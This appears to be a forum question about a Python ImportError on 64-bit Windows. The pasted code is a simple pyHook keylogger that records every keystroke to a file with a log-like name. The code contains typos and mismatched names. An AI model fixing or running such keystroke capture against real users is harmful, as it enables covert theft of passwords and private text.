I'm testing a python code and I have the libraries it uses, but when I run, it gives this error:
ImportError: DLL load failed:% 1 not a valid Win32 application.
The version is 64-bit.
Code:
import pyHook, pythoncom, sys, logging
file_log = 'C:\Users\usuario\Documents\systemlogpython.txt'
def OnKeyBoard(event):
logging.basicConfig(filename=file_log, level=loggin.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()